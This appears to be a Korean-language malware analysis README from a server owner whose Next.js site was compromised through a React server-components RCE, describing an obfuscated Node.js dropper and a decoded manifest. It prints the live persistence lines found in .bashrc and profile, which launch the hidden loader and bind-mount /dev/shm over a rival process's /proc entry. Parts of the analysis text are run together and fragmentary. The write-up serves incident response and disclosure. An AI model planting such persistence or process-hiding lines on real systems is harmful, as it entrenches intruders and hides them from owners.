
malware I found on my server
웨딩 웹사이트 서버에서 React 서버 사이드 렌더링 코드 실행 취약점을 이용한 공격 이후 발견한 악성코드 및 기타 의심스러운 정크 파일들입니다. 아주 평범한 Next.js 앱을 실행하는 소규모 Digital Ocean 드롭릿입니다.
CVE: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
다양한 스파이크 등을 보여주는 서버 활동 로그:

주된 악성코드는 /.local/share/.r0qsv8h1에 설치된 것으로 보입니다.
bashrc에서:
# System
(nohup /.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgrep -f mesh | xargs -I {} mount -n --bind /dev/shm /proc/{} 2>/dev/null
pgreps는 이 다른 가짜 "meshagent" 악성코드가 실행되는 것을 막기 위한 것입니다. MESHAGENT.md 문서에서 자세한 내용을 확인할 수 있습니다.
profile에도 동일한 내용이 있습니다.
# App
(/.local/share/.r0qsv8h1/.394ly8v9/bin/node /.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null
SUSPICIOUS_SERVICES.md에서 다른 의심스러운 서비스를 확인할 수 있습니다.
다음은 이 주요 악성코드에 대한 분석입니다:
bad 디렉토리에는 자체 포함된 Node.js 런타임과 매우 난독화된 JavaScript 파일 세트가 함께 번들로 제공됩니다.
모든 증거는 이 파일이 악성 드로퍼(dropper) 임을 나타냅니다. 이는 원격 서버에 자동으로 연결하여 암호화된 페이로드를 다운로드하고, 복호화한 후 디스크에 쓰고, 분리된 백그라운드 프로세스로 실행합니다. 또한 코드는 주기적으로 서버에서 업데이트를 확인합니다.
.5f8562의 Base64 페이로드를 디코딩하면 다음과 같습니다:
{
"0": "c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c",
"1": ".fvq2lzj6te.js",
"3": 1765307786421,
"4": "desktop"
}
"1" 은 주요 난독화된 로더 스크립트를 참조합니다."0" 은 원격 서버가 추적에 사용할 것으로 보이는 UUID입니다."3" 은 매니페스트가 생성된 시간을 나타내는 타임스탬프(Unix epoch ms)입니다."4" 는 의도된 위치(desktop)를 나타내며, 페이로드가 그곳에 숨으려고 할 수 있음을 암시합니다.node .5f8562) 매니페스트가 .fvq2lzj6te.js를 가리킵니다.setInterval 타이머가 주기적으로 다운로드-복호화-실행 시퀀스를 반복하여 공격자가 추가 사용자 상호 작용 없이 새 페이로드나 업데이트된 페이로드를 푸시할 수 있게 합니다.PATH, cwd 등)에서 실행되며, 암호화폐 채굴, 자격 증명 탈취, 원격 명령 실행 등 일반적인 악성 행위를 수행할 수 있습니다..r0qsv8h1 디렉토리와 해당 디렉토리가 생성한 모든 파일을 삭제하십시오(사용자의 Desktop 및 임시 디렉토리에서 새로 생성된 실행 파일 확인).이 분석은 디렉터리에 있는 파일의 정적 검사를 기반으로 AI 어시스턴트가 자동으로 수행했습니다. 런타임 실행은 수행되지 않았습니다.
DEOBFUSCATE.md에서 자세한 내용을 확인할 수 있습니다.
| 파일 | 설명 |
|---|
.394ly8v9/README.md | 표준 Node.js README – 악성 기능과 무관하며, 번들이 정상적으로 보이도록 하기 위해 존재합니다. |
.fvq2lzl64e.js | 약 5KB의 난독화된 JavaScript. JSON‑RPC HTTP 요청을 구성하고, base64로 인코딩된 페이로드를 수신하며, 사용자 정의 암호로 복호화한 후 임의 파일에 쓰고 child_process.spawn / execSync를 통해 실행합니다. 또한 원격 서버를 반복적으로 폴링하는 분리된 백그라운드 프로세스를 생성합니다. |
.lauphhtqrg.js | 약 13KB의 난독화된 JavaScript. 자체 RC4 스타일 암호(dec)를 사용하여 유사한 다운로드-복호화-실행 루프를 구현합니다. 복호화된 페이로드를 생성된 파일명으로 쓰고 실행합니다. 나중에 새 페이로드를 가져오기 위해 타이머를 설정합니다. |
.5f8562 | 일반 텍스트 Base64 문자열. 작은 JSON 매니페스트로 디코딩됩니다: json { "0":"c6aeb84b-0600-4e82-ae3e-f7d441a2fd7c", "1":".fvq2lzj6te.js", "3":1765307786421, "4":"desktop" } 이 매니페스트는 로더가 실행할 스크립트(.fvq2lzj6te.js)와 식별자/타임스탬프를 제공합니다. |
.b0rtqscrkeov | 아직 검사되지 않았지만, 명명 패턴으로 보아 동일한 악성 체인의 또 다른 구성 요소로 추정됩니다. |
bin/node 및 관련 lib/ 파일 | 전체 Node.js 런타임으로, Node.js가 설치되지 않은 시스템에서도 스크립트를 실행할 수 있게 합니다. |